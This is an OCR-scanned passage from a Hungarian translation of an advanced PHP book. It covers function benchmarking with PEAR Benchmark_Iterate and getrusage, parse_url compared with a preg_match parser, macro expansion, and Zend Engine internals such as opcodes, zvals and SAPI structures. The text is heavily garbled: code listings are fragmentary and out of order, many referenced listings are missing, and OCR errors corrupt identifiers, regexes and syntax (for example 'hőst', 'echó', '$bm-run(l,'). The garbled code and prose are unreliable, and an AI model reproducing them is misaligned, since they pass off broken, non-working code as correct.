mark_Iterate tiszta, objektumközpontú szerkezettel bír, ami viszonylag könnyűvé és
gyorssá teszi a bővítését.
19.1. ábra
A Benchmark_Iterate osztálydiagramja, azokkal a tagfüggvényekkel, amelyeket érdemes lehet felül-
írni saját mérőrendszerünk kiépítésénél.
494 PHP fejlesztés felsőfokon
Amint a 19.1. ábrán láthatjuk, a mérés központi tagfüggvényei a run () és a get ().
A háttérben az előbbi meghívja a setMarker () tagfüggvényt közvetlenül minden mért
hívás előtt és után. A setMarker () az időt a microtime segítségével ezredmásodperc
pontossággal kiolvassa, majd egy jelet rögzít a markers tömbben ezzel az idővel.
require 'Benchmark/Iterate.php';F
$this->setMarker('end_' . $i ) ;
}
return(0);
}
for ($i = 1; $i <= $iterations; $i++) {
$random_data = $argument_generator() ;
$this->setMarker('start_' . $i);
call_user_func_array($function_name, $random_data);
$this->setMarker('end_' . $i);
}
}
}
require "test_data.inc";
require "MyBench.inc";
Látható, hogy eszerint a beépített lineáris keresés még annál is hatékonyabb a felhaszná-
lói kódnál, mint ahogy azt korábban láttuk.
letve rendszeridő adatai a getrusage kimenetében valóban azt az időt adják vissza,
amit a függvény felhasználói, illetve rendszerhívásokkal tölt. Ez sokkal jobb képet ad
a CPU erőforrásainak valódi kihasználásáról. Természetesen 10 ms összefüggő CPU idő
egészen más, mint két különálló 5 ms-os rész, és a getrusage nem küszöböli ki a pro-
cesszor gyorstárának, illetve a regiszterek újrafelhasználásának hatását, ami eltérő lehet
különböző rendszerkihasználtságnál, és jótékony hatással lehet a teljesítményre.
require_once 'Benchmark/Iterate.php';
$iterations = count($this->markers)12 ;
$result[$i] = $temp;
}
foreach( array_keys(getrusage() ) as $key) {
$result['mean'][$key] /= $iterations;
}
foreach ( array( 'ru_stime', 'ru_utime' ) as $key ) {
$result['mean'][$key] /= $iterations;
}
$result['iterations'] = $iterations;
return $result;
}
}
$fullurl =
"http://george:george@www.example.com:8080/foo/bar.php?example=yes#here";
function preg_parse_url($url) {
$regex = •!A (([A: /?#]+):)?(//(( [A/:?#@]+): ( [V:?#8]+)@)?([V:?#]*)'.
' (: (\d+))?)?(["?#]*) (\\?( [A#]*))?(#(•*))?! ';
preg_match($regex, $url, $matches);
list(,,$url['scheme'],,$url['user'],$url['pass'],$url['hőst'] , ,
$url['port'],$url['path'],,$url['query']) = $matches;
return $url;
}
PHP 4.2.3
preg_parse_url System + User Time: 0 . 0 0 0 2 8 0
parse_url System + User Time: 0. 002110
Nos, ennyit arról, hogy a beépített függvények mindig gyorsabbak! A preg_match meg-
oldás egy teljes nagyságrenddel gyorsabb, mint a parse_url. Mi okozhatja itt a gondot?
Ha megvizsgáljuk a parse_url 4.2.3-as forráskódját, láthatjuk, hogy a rendszer (POSIX-
megfelelő) szabályoskifejezés-könyvtárát használja, és minden lépésben elvégzi a követ-
kezőket:
/* ál-C kód*/
regex_t re; /* helyi hatókörű szabályoskifejezés-változó */
regmatch_t subs[11]; /* felhasználói értelmezőnk $matches
változójának megfelelője */
/* a minta fordítása*/
regcomp(&re, pattern, REG_EXTENDED);
/* a szabályos kifejezés alkalmazása a bemenő karakterláncra, és az
egyezések elhelyezése a subs változóban*/
regexec(&re, string, stringlen, subs, 0)
Ez tehát azt jelenti, hogy minden lépésben újra lefordítjuk a szabályos kifejezést, mielőtt
alkalmaznánk. A felhasználói megoldás a preg_match-et használja, ami tárolja a lefordí-
tott szabályos kifejezést, így később is fel tudja használni.
A PHP 4.3.0-ban a parse_url függvényt nem a tárolással javították meg, hanem írtak
egy új URL értelmezőt. Lássuk most ugyanezt a futtatást a PHP 4.3.0-ban:
PHP 4.3.0
preg_parse_url System + User Time: 0 . 0 0 0 2 1 0
parse_url System + User Time: 0 . 0 0 0 1 5 0
Mérések a kódban
A mérési eredmények folyamatos nyomon követése nagyszerű lehetőséget ad az alkalma-
zás „egészségi állapotának" figyelésére. Ahhoz persze, hogy a hosszú távú mérés során
kapott adatok hasznosíthatók legyenek, szabványosítani kell a tesztjeinket. Ezt megtehet-
19. fejezet * Szintetikus mérés: kódblokkok és függvények értékelése 501
A beemelt fájlokat rendesen soha nem hajtják végre közvetlenül, így elhelyezhetünk ben-
nük olyan mérési kódokat, amelyek csak akkor futnak le, ha mégis közvetlen végrehajtás-
ra kerül sor.
// url.inc
function preg_parse_url() {
// . . .
}
// ellenőrizzük, hogy közvetlen végrehajtásról van-e szó
if( $_SERVER [ " PHP_SELF ' ] ==__ FILÉ___) {
// ha igen, indulhat a mérés
require 'RusageBench.inc;
$testurl =
"http://george:george@www.example.com:8080/foo/bar,php?example=yes#here";
$b = new RusageBench;
$b->run(1000, 'preg_parse_url', $testurl);
$result = $b->get();
printf("preg_parse_url(): % 1 . 6 f execs/sec\n",
$result['mean']['ru_utime'] + $result['mean']['ru_stime'] );
}
Ha ezek után valahol beemelik az url. inc fájlt, a program átugorja a mérési ciklust, és
a kód normálisan viselkedik. Ha azonban közvetlenül meghívjuk a könyvtárat, a mérési
eredményekhez jutunk:
$ php /home/george/devel/Utils/Uri.inc
preg_parse_url(): 0. 000215 execs/sec
Mérési példák
Miután megismerkedtünk a PEAR Benchmark rendszerével, és megtanultuk, miként bő-
víthetjük igényeink szerint, alkalmazzuk tudásunkat néhány példán is. Ahhoz, hogy egy
program alkalmazásában valóban jártasak legyünk, sok gyakorlatra van szükség — különö-
sen igaz ez a mérőprogramok esetében. Sok idő és türelem - e két feltétel elengedhetet-
len, ha apró módosításokkal szeretnénk növelni kódunk teljesítményét.
function strncmp_match($arr) {
foreach ($arr as $key => $val) {
if(!strncmp($key, "SCRIPT_", 5)) {
$retval[$key] =$val;
}
}
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 503
require "MyBench.inc";
foreach(array('substr_match', 'strncmp_match') as $func) {
$bm = new MyBench;
$bm->run(100 0, $func, $_SERVER);
$result = $bm->get();
printf("$func %0 .6 f\n " , $result['mean']);
}
substr_match 0.000482
strncmp_match 0.000406
Makrókifejtés
E példában mérőrendszerünket egy saját makrókifejtő rendszer optimalizálására használ-
juk. Egy ilyen rendszer számos helyzetben jó szolgálatot tehet - például ha bizonyos kor-
látozott programozási lehetőségeket szeretnénk nyújtani egy tartalomkezelő rendszerben,
vagy elektronikus levélsablonokat kívánunk adni a felhasználóknak. A sablonokkal vala-
mi ilyesmit érhetünk el:
Az eljárás magja az alábbi sor, amely a cseréket végzi a megadott szöveg egyes címkéiben:
Készíthetünk egy egyszerű ellenőrző osztályt, amellyel biztosítjuk, hogy minden megoldá-
si módozatunk azonos eredményt adjon:
require "PHPUnit.php";
require "macro_sub. inc" ,-
$macros = array(
'F001' => 'george@omniti.com',
'F002' => 'george@omniti.com',
'F003' => 'george@omniti.com',
'F004' => 'george@omniti.com',
'F005' => 'george@omniti.com',
'F006' => 'george@omniti.com',
'F007' => 'george@omniti.com',
'F008' => 'george@omniti.com',
'F009' => 'george@omniti.com',
'FOO10' => 'george@omniti.com',
'F0011' => 'george@omniti.com',
'F0012' => 'george@omniti.com',
'F0013' => 'george@omniti.com',
'F0014' => 'george@omniti.com',
'F0015' => 'george@omniti.com',
'NAME' => 'George Schlossnagle',
'NICK' => 'muntoh',
'EMAIL' => 'george@omniti.com',
'SITENAME' => 'www.foo.com',
'BIRTHDAY' => '1 0 - 1 0 - 7 3 ') ;
506 PHP fejlesztés felsőfokon
Mintaszöveg gyanánt készíthetünk egy 2048 KB-os, véletlen szavakból álló dokumentu-
mot, melyben itt-ott szerepelnek a {NAME}, {NICK}, {EMAIL}, {SITENAME} és
{BIRTHDAY} makrók. A mérés kódja ugyanaz, amit eddig is használtunk a fejezetben:
expand_macros_vl 0 . 00 1 03 7 seconds/execution
Első látásra ez gyorsnak tűnik, de másodpercenként 100 jelölés értelmezése nem mond-
ható túl jó eredménynek, van mit javítani.
Ez nagyszerűen működik is, mindössze előtte át kell alakítani a makrókat tisztán szabá-
lyos kifejezésekké:
function pre_process_macros(&$macroset) {
foreach( $macroset as $k => $v ) {
$newarray["{"-$k."}"] = $v;
}
return $newarray;
}
19. fejezet • Szintetikus mérés: kódblokkok és függvények értékelése 507
Megjegyzés
E módszer legnagyobb hátránya, hogy mindig újra kell kódolni a SELECT utasítást, ha
újabb oszlopok kerülnek a táblába. A SELECT * használatánál ugyanakkor a makrók cso-
dálatos módon megjelennek a tábla frissítése után.
expand_macros_v2 0 . 0 0 0 8 5 0 seconds/execution
Jóllehet az eljárás bonyolultnak tűnhet, a mögötte húzódó gondolat igen egyszerű: min-
den olyan karakterlánc esetében, ami kódcímkének néz ki (vagyis egy kapcsos zárójelek-
kel körülvett szó), elvégzünk egy kiértékelt cserét. (A kiértékeltségre a szabályos kifejezés
végén látható e betű utal. Ilyenkor nem egyszerűen behelyettesítjük a szöveget, hanem
előbb alkalmazzuk a kifejezésre az eval () függvényt, és azután ezt használjuk fel a he-
lyettesítésben.) A kiértékelt kifejezés megvizsgálja, hogy a kódcímke eleme-e a makróhal-
maznak, és ha igen, elvégzi a cserét. Ezzel meggátoljuk, hogy a kódcímkének tűnő, de
valójában nem ilyen szerepet betöltő kifejezéseket (például a JavaScript függvényeket)
szóközzel helyettesítsük.
Nos, ez meglehetősen furcsa. A kód „javítása" (amely kevesebb szabályos kifejezést keres)
lassabb, mint az eredeti változat! Mi lehet a gond?
A Perllel ellentétben a PHP-ben nincs lehetőségünk beállítani azt, hogy a rendszer először
kiértékelje a kifejezést, majd ismételten ezzel végezze el az összehasonlítást. A Periben ezt
az s / $pattern/ $sub/eo; segítségével tehettük meg - itt az o módosító arra utasítja
a szabályos kifejezést, hogy a $sub-ot csak egyszer fordítsa le. A PHP rendelkezik hasonló
„fordított" szabályoskifejezés-kezelő képességgel, melyet a preg_replace_callback ()
valósít meg, de használata számos helyzetben elég nehézkes.
19.2. ábra
A cserekifejezéseket alkalmazó módszer lineáris növekedésének összehasonlítása a preg_replace
alapú módszer nem lineáris növekedésével.
Itt a $name aktuális értéke (' George ') bekerül a $string karakterlánc szerkezetébe,
amely így végeredményben a „Hello George! \n" értéket kapja.
A fejezet elején megemlítettem már, hogy a beszúrás költsége csökkent a PHP 4.3-as, illet-
ve 5-ös változatában. Ha ezt így, ahogy van, elfogadnánk, azzal éppen e könyv alapgon-
dolatának mondanánk ellent - készítsünk hát egy rövid tesztet az igazság felfedésére.
A karakterláncok összefűzése és beszúrása egyaránt igen gyors művelet a PHP-ben, hi-
szen mindkettő nyelvi alapelem. Egyikük működéséhez sincs szükség függvényhívásra, és
mindkettő rövid utasítássorozattal írható le a PHP virtuális gépén. Gyorsaságuk miatt, ha
burkolófüggvényt készítünk köréjük, és ezt hívjuk meg a mérőprogramból, jelentősen el-
torzíthatjuk a valódi eredményeket. Még a MyBench osztály használata is torzuláshoz ve-
zetne, hiszen így is szükség van felhasználói burkolófüggvényre. Mindezek miatt kényte-
lenek vagyunk magunk elvégezni a bejárást egy saját burkolófüggvényben (rövid ciklus-
ban, függvényhívások nélkül), és így mérni az eredményt:
require 'RusageBench.inc';
$iterations = 100000;
foreach(array('interpolated', 'concatenated') as $func) {
$bm = new RusageBench;
$bm-run(l, $func, 'george', $iterations);
$result = $bm->get();
printf("$func\tUser Time + System Time: %0.6f\n",
($result[mean][ru_utime] +
$result[mean][ru_stime])/$iterations);
}
PHP 4.2.3
interpolated User Time + System Time: 0.000016
concatenated User Time + System Time: 0.000006
PHP 4.3
interpolated User Time + System Time: 0.000007
concatenated User Time + System Time: 0.000004
Bár látható, hogy a beszúrás sebessége jelentősen nőtt, az összefűzés segítségével még
mindig gyorsabban építhetjük fel karakterláncainkat dinamikusan. A 20. fejezetben megis-
merkedünk a Zend Engine (a PHP szívében található programmotor) felépítésével, és en-
nek kapcsán szó esik majd arról, miben különbözik a beépített és a felhasználói függvé-
nyek belső megjelenítése.
Teljesítményhangolás - okosan
Aki teljesítményhangolásra adja a fejét, meg kell ismerje Ahmdahl törvényét. Gene Ahm-
dahl az IBM egyik számítógéptudósa volt, az S/360 nagygépsorozat egyik vezető tervező-
je, de hírnevét leginkább a róla elnevezett törvényről kapta, amely a párhuzamosan futta-
tott programok sebességnövelésére vonatkozik. A törvény szerint, ha egy program két ré-
sze különböző sebességgel fut, a lassabb fogja meghatározni a futásidőt. A mi olvasatunk-
ban ez a következőt jelenti: a legnagyobb nyereséget a kód leglassabb részeinek optimali-
zálásától várhatjuk. Vagy másképp: ne várjunk sokat egy olyan kód optimalizálásától,
amely eleve csak a futásidő kis részéért felelős.
Bővíthetőség
A PHP és a Zend Engine titkai
A legtöbb amerikaihoz hasonlóan én is autóval járok munkába. Ismerem járművem alap-
vető képességeit. Tudom, milyen gyorsan képes haladni, milyen erős a fékje és milyen se-
bességgel érzem még biztonságosnak a kanyarok bevételét. Azt is tudom, hogy az olajat
5000 kilométerenként cserélni kell, és rendszeresen ellenőrizni a keréknyomást. Szorult
helyzetben magam is megoldom az olajcserét, de jobb szeretem szakemberre bízni.
Az autózásban ugyan szelíd, hétköznapi ember vagyok, webhelyeim esetében azonban in-
kább hasonlítok autóversenyzőre, mint egyszerű hétköznapi autósra. Ezek nagy forgalmú
webhelyek, melyeknél még apró teljesítménybeli eltérések is komoly anyagi megterhelést
jelenthetnek. Mivel nem hétköznapi felhasználó vagyok, nem elégedhetek meg a PHP hét-
köznapi ismeretével. A PHP felépítésének átlátása nem feltétlenül szükséges ahhoz, hogy
valakiből nagyszerű PHP programozó váljon, de néhány dologban segítségünkre lehet:
1. A program áthalad egy lexikai elemzőn, ami az emberi olvasásra alkalmas kódot
gép által értelmezhető jelekké alakítja. Ezek a jelek kerülnek át az értelmezőhöz.
2. Az értelmező fogadja a jelek folyamát a lexikai elemzőtől, és egy utasítássorozatot
{köztes kódot) készít belőle, melyet a Zend Engine megért. A Zend Engine egy vir-
tuális gép, amely gépi kód jellegű, háromcímes utasításkódokat fogad, és hajt vég-
re. Sok értelmező egy elvont nyelvtani fát (szintaxisfát) készít, amely módosítható,
illetve optimalizálható, mielőtt a kódelőállítóhoz kerülne. A Zend Engine értelmező
e lépéseket egyesítve állítja elő a köztes kódot a lexikai elemzőtől kapott jelekből.
A Zend Engine virtuális gép, vagyis olyan program, ami egy számítógépet utánoz.
Az olyan nyelvekben, mint a Java, a virtuális gép lehetővé teszi a kód hordozhatóságát,
így az egyik gépen lefordított bájtkódot futtathatjuk a másikon. A Zend Engine beépítet-
ten nem támogatja az előfordított programok értelmezését - a virtuális gép viszont rugal-
massá teszi a PHP-t.
Az x86 sorozatú processzorok (valószínűleg saját gépünkben is egy ilyen ketyeg) 75 alap-
műveletével szemben a Zend Engine csaknem 150 alapműveletet (a Zend szóhasználata
szerint opkódoi) támogat. Ezek között a virtuális gépek jellemző utasításai - például logi-
kai és matematikai műveletek - mellett összetettebb műveleteket is találhatunk, így egyet-
len utasítás felel meg az include () hívásának vagy egy karakterlánc kiírásának.
Annak a szemszögéből, aki PHP bővítményt készít, vagy a PHP-t egy alkalmazásba
kívánja beágyazni, mindez egyetlen lépést jelent: a fordítást. Vagyis: a fordítás
a programkódból köztes kódot állít elő. Az eredmény, amelyet a Zend virtuális gép
gépi kódjának tekinthetünk, (többé-kevésbé) gépfüggetlen.
A köztes kód utasításokból {műveleti kódok vagy opkódok, az angol „operation
code"-ból) álló rendezett tömb (műveleti tömb vagy optömb), melynek elemei alap-
jában háromcímes kódok: két tényező (operandus) a bemenet, egy pedig a kime-
net számára, valamint a tényezőket feldolgozó kezelő. A tényezők lehetnek állan-
dók (statikus értékek), vagy tartalmazhatják egy átmeneti változó címét, ami lénye-
gében a Zend virtuális gép egy regiszterének felel meg. Bonyolultabb esetben az
opkódok a program folyásának szabályozására is alkalmasak, módosítva az
optömbbeli helyzetet ciklusok, illetve feltételek esetében.
3. Miután elkészült a köztes kód, átkerül a végrehajtóhoz. Ez végighalad a tömbön, és
egymás után végrehajtja az utasításokat.
<?php
$hi = 'hello';
echó $hi;
?>
Megjegyzés
A fejezetben szereplő köztes kódokat az op_dumper segítségével írtuk ki, melyet a 23- fe-
jezetben egy példa formájában teljes egészében meg is valósítunk. Dériek Rethans VLD-je,
melyet a http: //www.derickrethans .nl/vld.php címen találhatunk meg, szintén
képes e feladat végrehajtására.
518 PHP fejlesztés felsőfokon
• 0. opkód - Első lépésben a 0. regiszterből egy mutatót készítünk, ami a $hi változó-
ra mutat. Ezután a ZEND_FETCH_W műveletet alkalmazzuk, mivel egy változóhoz
kell valamit hozzárendelni (a w a write, vagyis írás szó rövidítése).
• 1. opkód - A ZEND_ASSIGN kezelő hozzárendeli a hello értéket a 0. regiszterhez
(vagyis a $hi változóra irányuló mutatóhoz). Az 1. regiszterhez szintén hozzáren-
delünk egy értéket, de most nem használjuk. Rá olyankor van szükség, ha a hozzá-
rendelést az alábbihoz hasonló kifejezésben végezzük:
if($hi = ' h e l l o' ){}
• 2. opkód - Itt újra kiolvassuk a $hi értékét, ezúttal a 2. regiszterbe. Ezt
a ZEND_FETCH_R segítségével tesszük meg, mivel csak olvasni fogjuk
(R = reád, vagyis olvasás).
• 3. opkód - A ZEND_ECH0 kiírja a 2. regiszter tartalmát (pontosabban elküldi a kime-
neti átmeneti tárolóhoz) Az echó (valamint megfelelője, a print) a PHP beépített
műveletei, ellentétben a függvényekkel, amelyeket meg kell hívni.
• 4. opkód - A ZEND_RETURN l-re állítja a program visszatérési értékét. Jóllehet
a return-t nem hívtuk meg, minden programban megjelenik rejtve a return 1,
amennyiben más értéket nem adunk vissza.
Következzék most egy példa, amely egy igen egyszerű folyamatvezérlést is tartalmaz:
Figyeljük meg, hogy a feltételes elágazási pontot a ZEND_JMPZ utasítás valósítja meg (itt
döntünk a ciklus végi ugrásról - megnézve, hogy elérte-e a $i az 5 értéket), magát az ug-
rást a ciklus elejére - az újabb feltételvizsgálathoz - pedig a ZEND_JMP.
Mielőtt továbbhaladnánk, nézzünk meg még egy igen fontos példát. A korábbiakban lát-
hattuk, miként végzi a rendszer egy beépített függvény (nevezetesen az strtoupper) hí-
vásának kezelését. A PHP-ben írt függvények hívása sem tér el ettől sokban:
<?php
function hello($name) {
echó "hello\n";
}
hello("George") ;
?>
FUNCTION: hello
opnum line opcode opl op2 result
0 2 ZEND_FETCH_W "name" '0
1 2 ZEND_RECV 1 '0
2 3 ZEND_ECHO "hello%0A"
3 4 ZEND_RETURN NULL
<?php
include("filé.inc");
?>
Mindez a PHP egy fontos tulajdonságát mutatja: Minden beemelés futásidőben történik,
így, amikor a rendszer először értelmezi a programot, elkészíti az ehhez tartozó optöm-
böt, és minden, a legfelső szintű fájlban meghatározott függvényt, illetve osztályt (amelyik
valójában fut) elhelyez a szimbólumtáblában; a beemelendő programállományokat vi-
szont még nem értelmezi. Ha a programot végrehajtjuk, és a rendszer talál egy include
utasítást, azt ott helyben értelmezi és végrehajtja. A 20.1. ábra egy egyszerű PHP program
futását mutatja be.
20.1. ábra
A PHP programok futtatási folyamata.
522 PHP fejlesztés felsőfokon
Változók
A változók bevezetésének (deklarálásának) módja szerint a programnyelvek két csoportra
oszthatók:
• Statikus típusokra épülő nyelvek - A statikus nyelvek - mint a C++ vagy a Java - eseté-
ben minden változó kap egy típust (ilyen például az int vagy a String), amely
változatlan marad a fordítás során.
• Dinamikus típusokra épülő nyelvek - A dinamikus nyelvek - mint a PHP, a Perl,
a Python vagy a VBScript - esetében a típusok meghatározása automatikusan törté-
nik futásidőben. Tegyük fel, hogy az alábbi kódsort használjuk:
$variable = 0;
Ekkor a PHP automatikusan integer típusú változót hoz létre.
Van még két további tulajdonság, melyek a típusok kikényszerítésére és átalakítására vo-
natkoznak:
• Erős típusosság - Az erősen típusos nyelvekben, ha egy kifejezés nem megfelelő tí-
pusú paramétert kap, hibát vált ki. A statikus nyelvek egyúttal erősen típusosak is
(bár egyesek lehetővé teszik a típuskényszerítést). Egyes dinamikus nyelvek, mint
20. fejezet • A PHP és a Zend Engine titkai 523
A zval tartalmazza saját értékét (erről hamarosan szólunk), egy ref count értéket, egy
típust, valamint az is_ref jelzőt.
Ha megváltoztatjuk a $variable értékét, egy olyan zval tartozik majd hozzá, melynek
hivatkozásszámlálója 1, az eredeti ' f oo ' karakterlánc hivatkozásszámlálója pedig szintén
l-re csökken:
$variable = 'bar';
Ha egy változó kikerül a rendszer hatóköréből (például ha meghatározása egy függvé-
nyen belül van, és a program visszatér a függvényből), vagy ha a változó megsemmisül,
a hozzá tartozó zval hivatkozásszámlálója 1-gyel csökken. Ha a ref count eléri a 0-t,
a szemétgyűjtő rendszer felszabadítja a tartalmát.
A zval típus külön figyelmet érdemel. Az ugyanis, hogy a PHP gyengén típusos nyelv,
nem jelenti azt, hogy a benne szereplő változók nem rendelkeznek típussal. A zval típus
tulajdonsága megadja a zval aktuális típusát, vagyis azt, hogy a zvalue_value unió
melyik elemében kell keresni az értékét.
Végezetül, az is_ref megadja, hogy a zval valóban tartalmaz-e adatokat, vagy egysze-
rűen csak hivatkozás egy másik zval-ra.
20. fejezet • A PHP és a Zend Engine titkai 525
Ha típust váltunk a PHP-ben (amit közvetlenül szinte sohasem teszünk meg — erre inkább
a háttérben kerül sor, ha a felhasználás módja a zval egy másik megjelenését teszi szük-
ségessé), a rendszer átalakítja a zvalue_value értéket a kívánt formátumra. Ez magya-
rázza például az alábbi viselkedést:
$a = "00",-
$a += 0;
echó $a;
Eredményként 0-t kapunk, nem pedig 00-t, mivel a további karakterek csendben eltűn-
tek, amikor a második sorban a $ a-ból egész lett.
• „ 0" == 0, mivel végül mindkét számból egész lesz, és a rendszer így hasonlítja
össze őket.
• $b == $c, mivel mindkét változóból egész válik, és a rendszer ezeket veti össze.
• Mindazonáltal, $a ! = $c, mivel mind a $a, mind a $c karakterlánc, és ekként
összevetve őket nyilván nem kapunk egyezést.
Függvények
Az előzőekben láthattuk, hogy amikor egy kódrészlet egy függvényt hív, feltölti a paramé-
tervermet a ZEND_SEND_VAL segítségével, majd elvégzi a végrehajtást a ZEND_DO_FCALL
művelettel. De mi is történik itt valójában? Ahhoz, hogy ezt megértsük, vissza kell ugra-
nunk az időben még a fordítás előtti állapothoz. Amikor a PHP elindul, sorra veszi a be-
jegyzett bővítményeket (mind a statikusan fordítottakat, mind azokat, amelyek a php. ini
fájlban találhatók), és bejegyzi az összes ezekben meghatározott függvényt. Ezek szerke-
zete valahogy így fest:
function say_hello($name)
{
echó "Hello $name\n";
}
A fordító lefordítja a függvény belseében található kódot, vagyis készít belőle egy új op-
tömböt, létrehoz egy zend_function-t, amely ezt a tömböt tartalmazza, majd ezt beil-
leszti a globális függvénytáblába, de ekkor már ZEND_USER_FUNCTION típussal.
A zend_function felépítése így fest:
Osztályok
Az osztályok annyiban hasonlítanak a függvényekhez, hogy tárolásukra külön globális
szimbólumtábla szolgál, de egyébiránt összetettebbek. Míg a függvények hasonlóak
a programokhoz (ugyanazzal a művelethalmazzal rendelkeznek), az osztályok olyanok,
mint kicsiben a teljes végrehajtási környezet.
struct _zend_class_entry {
char type;
char *name;
zend_uint name_length;
struct _zend_class_entry *parent;
int refcount;
zend_bool constants_updated;
zend_uint ce_flags;
HashTable function_table;
HashTable default_properties;
HashTable properties_info;
HashTable class_table;
HashTable *static_members;
HashTable constants_table;
zend_function_entry *built-in_functions;
/* kezelők */
zend_obj ect_value (*create_obj ect)
(zend_class_entry *class_type TSRMLS_DC);
zend_class_entry **interfaces;
zend_uint num_interfaces;
char *filename;
zend_uint line_start;
zend_uint line_end;
char *doc_coniment ;
zend_uint doc_comment_len;
};
A PHP 5 egyik nagy újdonsága az objektummodell változása volt. A PHP 4-ben objektum lét-
rehozásánál egy zval változót kaptunk vissza, melynek zvalue_value értéke így festett:
Ez azt jelenti, hogy a PHP 4 zend_obj ect változói nem sokkal többek, mint tulajdonsá-
gok hasítótáblái, melyek mellett a zend_class_entry végzi a tagfüggvények tárolását.
Amennyiben objektumokat adunk át függvényeknek, a rendszer - más típusokhoz hason-
lóan - lemásolja azokat, és a tulajdonságelérők használatát meglehetősen esetlenül való-
sítja meg.
struct _zend_object_value {
zend_object_handle handlé;
zend_object_handlers *handlers;
};
530 PHP fejlesztés felsőfokon
Az objektumkezelők
A PHP 5-ben lehetőségünk van - a bővítési API-ban - az objektumok és tulajdonságaik
elérésének szabályozására, szinte minden téren. A kezelő API az alábbi eléréskezelőket
valósítja meg:
Az egyes kezelőket részletesebben tárgyaljuk a 22. fejezetben, ahol valóban meg is valósí-
tunk egyes bővítményosztályokat. Addig elégedjünk meg annyival, hogy a kezelők nevei
elég jó útmutatással szolgálnak a rendeltetésüket illetően. így például a rendszer akkor
hívja meg az add_ref kezelőt, ha az objektumhoz egy hivatkozást adunk:
$object2 = $object;
A compare_obj ect hívására pedig akkor kerül sor, amikor két objektumot az
is_equal művelettel összehasonlítunk:
if($object2 == $object) {}
Objektumok létrehozása
A Zend Engine 2-es változatában az objektumok létrehozása két lépésből áll. Vegyük
a következő hívást:
Ezt követően a rendszer egy új zend_obj ect-et hoz létre, melyet elhelyez az objektum-
tárban, és egy rá mutató leírót rendel a $object változóhoz. Alapértelmezés szerint (ami-
kor felhasználói osztályt példányosítunk) a tárfoglalás az alapértelmezett foglalóval törté-
nik, és az objektum az alapértelmezett eléréskezelőket kapja meg. Emellett, amennyiben
az osztályhoz tartozó zend_class_entry-ben meghatározták a create_object függ-
vényt, ez intézi az objektum tárfoglalását, és egy zend:_object_handler kezelőkből
álló tömbbel tér vissza.
E működési szint ismerete különösen hasznos lehet, ha egy objektum alapműveleteit sze-
retnénk felülbírálni, illetve ha erőforrás-adatokat kell tárolnunk egy olyan objektumban,
melyet nem érinthetnek a rendes memóriakezelő eljárások. A Java- és a mono-bővítmé-
nyek e lehetőségeket használják ki, hogy a PHP képes legyen példányosítani és elérni
a belőlük származó objektumokat.
Az elkülönítés elve
Egyes megoldások, mint a mod_perl igencsak könnyűvé teszik a globális változók aka-
ratlan példányosítását, melyek megőrzik értékeiket a kérelmek között, esetleges meglepe-
téseket okozva. A PHP kérelem utáni takarító eljárása szinte lehetetlenné teszi az ilyen hi-
bákat. Ez azonban azt is jelenti, hogy az olyan adatokat is újra elő kell állítani, amelyekről
tudjuk, hogy nem változnak két kérelem között (például egy fájl fordítási eredménye).
Amint a korábbiakban láthattuk, a fordítói gyorstárak - mint az APC, az IonCube vagy
a Zend Accelerator -, amelyek némileg „elrontják" a kérelmek tökéletes szétválasztását,
növelhetik alkalmazásunk teljesítményét. Az e téren alkalmazható módszerekről a 23. fe-
jezetben szólunk bővebben.
534 PHP fejlesztés felsőfokon
Minden, a PHP szerkezetét boncolgató eszmefuttatás a 20.2. ábrán láthatóhoz hasonló di-
agrammal kezdődik, amely az alkalmazás rétegeit vázolja fel.
A legkülső réteg, melyen keresztül a PHP más alkalmazásokkal érintkezik, az elvont ki-
szolgálói API (Server Abstraction API, SÁPI) rétege. Részben ez kezeli a PHP indítását és
leállítását az alkalmazáson belül, és horgokat biztosít bizonyos adatok - így a sütik vagy
a POST adatok - kezeléséhez, alkalmazásfüggetlen módon.
20.2. ábra
A PHP szerkezete.
A SÁPI réteg alatt található maga a PHP motor. A PHP központi kódja felel a futási kör-
nyezet beállításáért (a globális változók feltöltéséért és az alapértelmezett . ini beállítá-
sok érvényesítéséért), emellett felületeket biztosít, így a folyamok bemeneti-kimeneti fe-
20. fejezet • A PHP és a Zend Engine titkai 535
A PHP magjában találjuk az előzőekben már részletesen tárgyalt Zend Engine-t, melynek
feladata a programok értelmezése és végrehajtása. A Zend Engine szerkezete emellett le-
hetővé teszi a bővítést, valamint alapműveleteinek (fordítás, végrehajtás és hibakezelés)
akár teljes felülírását is. Átalakíthatjuk műveleteinek egyes elemeit (az egyes műveletek
op_handler-einek módosításával), és függvényeket hívhatunk bejegyezhető horgokkal
(minden függvényhívásnál, minden opkódnál, és így tovább). Mindezek lehetővé teszik
a gyorstárak, a profilkészítők, a hibakeresők és a nyelv értelmezését módosító bővítmé-
nyek egyszerű beépítését.
A SÁPI réteg
Ez az elvonatkoztatási réteg lehetővé teszi, hogy egyszerűen beépíthessük a PHP-t más al-
kalmazásokba. Lássunk most néhány gyakrabban alkalmazott SAPI-t:
Az alapgondolat az, hogy léteznek olyan közös kapcsolódási pontok (a konkrét alkalma-
zástól függetlenül), melyeken a PHP és az alkalmazás érintkezik - ezeken a helyeken biz-
tosítanak horgokat a SAPI-k. így ha például egy alkalmazás el szeretné indítani a PHP-t,
az indítási horgot hívja meg. Ha a PHP szeretne kimenetet küldeni, az ub_write horgot
használhatja, amely a SÁPI réteg segítségével elvezet az alkalmazás megfelelő kimeneti
tagfüggvényéhez.
struct _sapi_module_struct {
char *name;
char *pretty_name;
int (*startup)(struct _sapi_module_struct *sapi_module);
536 PHP fejlesztés felsőfokon
A PMP magja
A PHP értelmező üzembe helyezésének és futtatásának számos kulcslépése van. Amikor egy
alkalmazás el kívánja indítani a PHP értelmezőt, először meghívja a php_module_startup
függvényt. Ez gyakorlatilag a „főkapcsolónak" felel meg - üzembe helyezi a bejegyzett
SAPI-t, előkészíti átmeneti tárolórendszerét, elindítja a Zend Engine-t, beolvassa a php. ini
állományt, majd ez alapján elvégez néhány teendőt, és előkészíti az értelmezőt az első kére-
lem fogadására. A magban működő fontosabb függvények a következők:
struct _zend_extension {
char *name;
char *version;
char *author;
char *URL;
char *copyright;
startup_func_t startup;
shutdown_func_t shutdown;
activate_func_t activate;
deactivate_func_t deactívate;
message_handler_func_t message_handler;
op_array_handler_func_t op_array_handler;
statement_handler_func_t statement_handler;
fcall_begin_handler_func_t fcall_begin_handler;
fcall_end_handler_func_t fcall_end_handler;
op_array_ctor_func_t op_array_ctor;
op_array_dtor_func_t op_array_dtor;
int (*api_no_check)(int api_no);
void *reserved2;
void *reserved3;
void *reserved4;
void *reserved5;
